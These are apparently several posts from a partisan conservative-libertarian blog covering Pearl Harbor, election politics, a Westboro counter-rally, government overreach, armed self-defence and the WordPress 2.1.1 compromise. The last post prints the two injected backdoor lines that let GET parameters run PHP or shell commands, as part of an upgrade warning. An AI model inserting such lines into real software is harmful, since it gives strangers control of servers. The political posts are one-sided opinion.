… yesterday, December 7th, 1941—a date which will live in infamy—the United States of America was suddenly and deliberately attacked by naval and air forces of the Empire of Japan.

You can listen to FDR’s speech here at Wikipedia. We need to never forget, and we need to remember that something like this can happen again. The world is not at peace, and treachery can come in many forms.

The WTC image and video archive is still open. It was created in the days after the attack as a way to preserve the images and the feeling that was present.

It’s election season and we need a reminder of just how serious the job of protecting American lives is. Are you going to vote for the team that wants to negotiate with those who would not hesitate to kill you and your family? Or for the ones who would spend sleepless nights protecting you from the barbarians at the gate? The war has not gone perfectly, mistakes have been made, but on balance we have been safer because of the choices made by our leaders. They are not the evil ones, they are not the ones that want to see your burning corpse falling through the sky. For all their faults they are doing the job of combating the shadows that creep in the night and so far have been successful.

That success is no accident. It takes hard work and planning. It takes accepting mistakes and learning from them. It means standing up for unpopular positions and drawing a line that shall not be crossed. America has seen no major terrorist attacks since 9/11 because of these steps. Imagine for a second where we would be at had AlGore won the election. Not just him, but his whole team of radical liberal ideologues running around scared of global warming while extremists slaughter our families in the name of their God.

Never Forget what we are fighting against. Or for.

I just left a sporting goods store and you would think that the number-one selling item would be plywood or potable water or gasoline right now,” he said. “Apparently it is AR-15s and .223 ammo. I watched at least 20 people buy AR-15s and cases of .223

Looks like the people of New Orleans learned their lesson from Katrina.

Hat Tip to The Firing Line

All I can say is that George Orwell’s view of the future continues to come true. A bit slower than 1984, but still on target.

The big news around these parts today was a visit from the lunatics from the Westboro Baptist Church to harass the grieving family of SFC Johnny Walls. If these sleazy carpet baggers thought they could come into our town and subject the family of a fallen soldier to their vile hate with impunity they got a surprise today.

I started out at the local WalMart, buying a 4×5 flag to wave, everyone there seemed to know where I was headed and kept asking if I was going to the protest — My reply was “I’m not protesting anything, I’m there to support the family”. I arrived at the corner of Lund Ave and Bethel road at about 1pm. There were already about 100 people on 2 of the corners. The lunatics were over on the opposite corner, totally surrounded by supporters and Kitsap County Deputies.

The size of the crowd quickly swelled with people carrying signs, banners and flags. I estimated that the number of people was at least 300. They were surrounded by people with signs that said things like “Social Parasite”, “We are here for SFC Walls, You are here for yourselves” and “Thank God for SFC Walls”. I think it got to be too much for them to handle, they tried to move off down the road, and then the cops escorted them across the street and back to their cars. A good thing, because one of them was dragging an American Flag though the dirt which didn’t go over too well with a passerby at the Rite Aid — the deputies prevented him from causing a scene as far as I could tell.

As they were leaving the Patriot Guard Riders made a pass through on their way to the SFC Walls’ funeral.

I prefer to think of this as a support rally for SFC Johnny Walls and his family. I was there to show the screwballs that they are vastly out numbered by people who support our troops and their families and to show the family that the community supports them and thanks them for making the ultimate sacrifice — the loss of a son. I hope that our presence there gave some solace to his family in their time of grief.

Pictures can be seen at the LibertyNews Gallery and a couple of short videos on the LibertyNews YouTube page.

In Houston we have the cops testing out the use of UAVs for spying on its citizens. Then along comes the article about judges issuing warrants without probable cause for tracking cell phone locations.

We also have the government in Maryland forcing parents to have their kids immunized against their will and with the threat of jail (at the point of a gun). In Omaha a baby was ripped from its mother’s arms in order for the state to give it a blood test. It took them a week to get their child returned to them from the State mandated foster care.

To top this off I am finally convinced that our Democracy experiment in Iraq is doomed to eventual failure. Look at Pakistan, they can’t even hold their government together. Jerry Pournelle is right when he says we could have spent a fraction of the trillions that this war is costing us and had energy independence (Nuclear Reactors don’t need oil from unstable nations, nor does space based solar satellites.)

I feel like we’ve tipped over the edge and are sliding into the abyss. And I don’t see ANY presidential candidates who realize this.

Michelle Malkin has a good post (as always) with video and links.

And there is always LibertyNews WTC image archive.

When a neighbor screamed she’d been shot, Colin Bruley grabbed his shotgun, found the victim and began treating her bloodied right leg.

Tonnetta Lee survived Tuesday’s pre-dawn shooting at her Jacksonville apartment, and her sister and a neighbor praised Bruley’s actions. But his employers, the same people who own the Arlington complex where Bruley lives, reacted differently. They fired him.

Read the rest of the story here at the Florida Times-Union, hat tip to The Freehold

The Federal Government has taken it upon itself to insert itself into the employment process to such a degree that you can’t be fired if you’re an alcoholic in some cases. But this guy does a stand-up job and helps protect his neighbors and he gets fired for it? Typical. But should he get his job back? Should he sue? I don’t think so. Why would you want to work for someone who is going to treat you that way? I’m sure there are lots of Employers who would be happy to have an upstanding guy like Colin Bruley working for them. Working for someone is a temporary arrangement, it can be severed by either party for any reason at any time. I don’t believe an employer has the right to force you to continue to work and you don’t have the right to force an employer to continue to employ you. Its a two-way street. Or at least it ought to be.

Its the police reaction that’s got me red in the face –

While acknowledging the gamble succeeded, authorities stressed that it’s safer to cooperate in such a case.

“Give them the money and give them the keys,” Sheriff Harry Lee said. “You make an insurance payment on your car, and nobody gets shot.”

Says who? I figure if some shithead it sticking a gun in my face he’s ready to take my life. In other words, I’m dead unless I take matters into my own hands and do something to save myself and my loved ones. If more people would react this way to criminals trying to terrorize innocent victims we would quite possibly have lower crime rates and more dead criminals.

It really pisses me off when the guys in blue say ‘nice job, but you should have just given in’. Are we giving in to the terrorists who want to annihilate our way of life? No. The same standard should be used for cowardly little punks sticking a gun in your face.

If you are running WordPress v2.1.1 you need to upgrade now! Read their announcement here. This is more serious than your normal round of ‘someone found another way to exploit sloppy PHP code’ — someone was able to gain access to their download server, insert code and recreate the distribution file.

They have never had any kind of file integrity checking (GPG signatures are commonly used in Open Source projects), but I think it is high time they implemented them.

They are a bit light on details of the inserted code. It exists in 2 files – feed.php and theme.php, someone inserted this line into feed.php:
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

And in theme.php:
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

What this means is that someone passing the argument ix to feed.php or iz to theme.php could execute PHP code or shell commands on the server with permissions of the running web server. It is as if you opened up a guest account on your system for anyone to use. It could be used to launch spam relays, potentially exploit other security holes to gain root access, or trash your blog.

The WordPress team needs to take a very serious look at their development process and security procedures. At the least they need to designate someone as the release manager and have them GPG sign the release files so that those of us downloading their software have some level of confidence that it hasn’t been compromised.